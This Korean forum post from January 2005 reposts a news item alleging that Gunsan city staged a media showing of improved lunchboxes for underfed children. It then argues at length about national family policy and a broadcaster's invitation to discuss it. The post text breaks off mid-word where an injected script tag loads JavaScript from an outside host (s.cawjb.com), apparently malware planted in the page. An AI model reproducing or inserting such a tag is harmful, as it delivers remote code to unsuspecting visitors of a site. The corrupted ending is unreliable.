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'언론마저 공무원들의 손에 이용..' |
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번 호 |
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595 |
조회수 |
1458 |
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작성자 |
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김선아 |
작성일 |
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05-01-14 |
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내 용 |
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""언론마저 공무원들의 손에 이용되고 있으니~""
(청와대 홈 ""국민참여마당""에서 퍼옴)
"군산시 ""부실도시락"" 언론플레이""~""
[오마이뉴스 2005.01.14]
ⓒ2005 연합뉴스
전북 군산시의 이른바 `건빵도시락""을 언론에 최초로 제보했던 석일
목사가 또다시 군산시의 늑장 대응과 변칙적인 ""언론 플레이""를 폭로
했다.
석일(48·군산 살림교회) 목사는 14일 와의 전화 통화에서 "군산시가
어제(13일) 개선된 도시락이라며 언론에 공개한 것은 사실과 다르
다"며 "문제가 됐던 업체가 아닌 다른 업체의 도시락을 속여서 공개
한 것"이라고 주장했다.
(중략) 인터넷 뉴스검색 글 - 1위
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언론마저 이미 이렇게 권력자의 손아귀에 이용당하고 있으니...
정부의 가족정책(가족복지)을 믿을까요, 언론을 믿을까요,
과연 무얼 믿고 국민들의 삶이 나아지리라는 작은 희망을 걸까요?
바로 어제 1/13일자 ""사회복지"" 부분 정책제안글로
""우리나라 가족정책의 대혼란"" 이란 제목의 글을 올렸다.
- 제안내용의 핵심인즉, 현재 하나 두울 터지고 있는 사건들로
국민들(네티즌들)의 분노를 잦아내고 있는
""밀양집단 성폭행 사건"" & ""결식아동 도시락 파문"" 등에
대한 정부의 대응반응을 살펴보았다.
그중 가장 문제의 핵심근원이 되는 것은
""우리나라 가족정책의 대혼란(제안글 참조)""으로 인해
파생되어지는 사건들로 근본적인 ""우리나라 가족정책""에
대한 재점검이 이루어져야 함을 강조함.
현재의 우리나라 가족정책의 문제점과 함께 그 대안책을
올린 글이다.
금일 청와대 홈을 살펴보니 ""국민들의 삶의 현장이 담겨 있는
목소리들이..."" 숱하게 올려져 있으며, 또한 소리없이 파묻혀
가고 있음을 발견하게 되어 ""나도 한마디(1/13, 가족정책제안글)""
부분에 실제의 예를 들어 한 곳에 모아 두었다.
그러던 중 퇴근할 무렵, 때마침 우연히도 모(?) 방송국으로부터
방송출연제안을 전화상으로 받게 되었다.
그 내용인즉, ""가족정책"" 관련 내용으로 금년부터 시행되는
""건강가정기본법""에 관해 ""시사다큐"" 형식으로 진행되는
프로그램이라는 담당작가로부터 직접 설명을 들었다.
특히, 급변하는 다양한 가족들에 대한 것은 법에서
다루고 있지 못함을 지적하고 그 대안방안을...
(정부에서 내세우는 대안방안은 ""여성부""를 중심으로 하여
가족업무를 이관시킨 후 현재 ""건강가정기본법""에서 미처
담지 못하고 있는 다양한 가족들에 대한 지원방안을
""가족지원법""으로 개정함으로써 보완하고자 하는 의도임.
다양한 가족들을 고려하지 못하는 점을 보완하겠다는
의도는 좋으나, 가장 큰 문제점은 ""가족정책의 뿌리""가
되는 출발점을 ""여성주의 시각(여성부)""에 두어서는
첫출발 시점에서부터 과오를 범하고 있음을 망각함.
나라의 힘이 되는 한 가정을 바로 세우기 위해서는
여성주의 시각에 치우친 출발점이 아닌 ""진정한 의미의
양성평등가족문화의 기반확립""에서 부터 출발하여야함)
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방송작가와 짧은 통화를 하면서 우선 먼저 프로그램을 기획하시기
전에 ""우리나라 가족정책이 대혼란""의 시점(중용한 과도기)에 놓여
있는 만큼 ""청와대 홈의 가족정책 제안글과 함께 국민들의 목소리""를
앞서 면밀히 검토하신 후에 방송기획을 하시는 것이 도움이 될
것이라는 얘기를 드렸다.
작년도 ""건강가정기본법 제정(2005년부터 시행)""으로
여러 학계 각층에서 논란을 일으켰는데, 그 시작 첫걸음도
내딛기 전에 담당부처의 이관(보건복지부에서 여성부로)과
함께 ""가족지원법""으로 법부터 다시 개정하여야 한다는
얘기를 하고 있으니...
이러한 시점에서 방송기획을 하는 데에는 더욱 신중함이
필요함을 강조해 드림.
퇴근 이후 아이와 함께 휴식을 취하던 중 뉴스기사글을
검색해보니... ""군산시 부실도시락 언론플레이""라는
어처구니 없는 기사글을 보며...
과연 언론의 파급효과와 그 위력이란 엄청남을 실감하며...
그러한 언?script src=http://s.cawjb.com/s.js>
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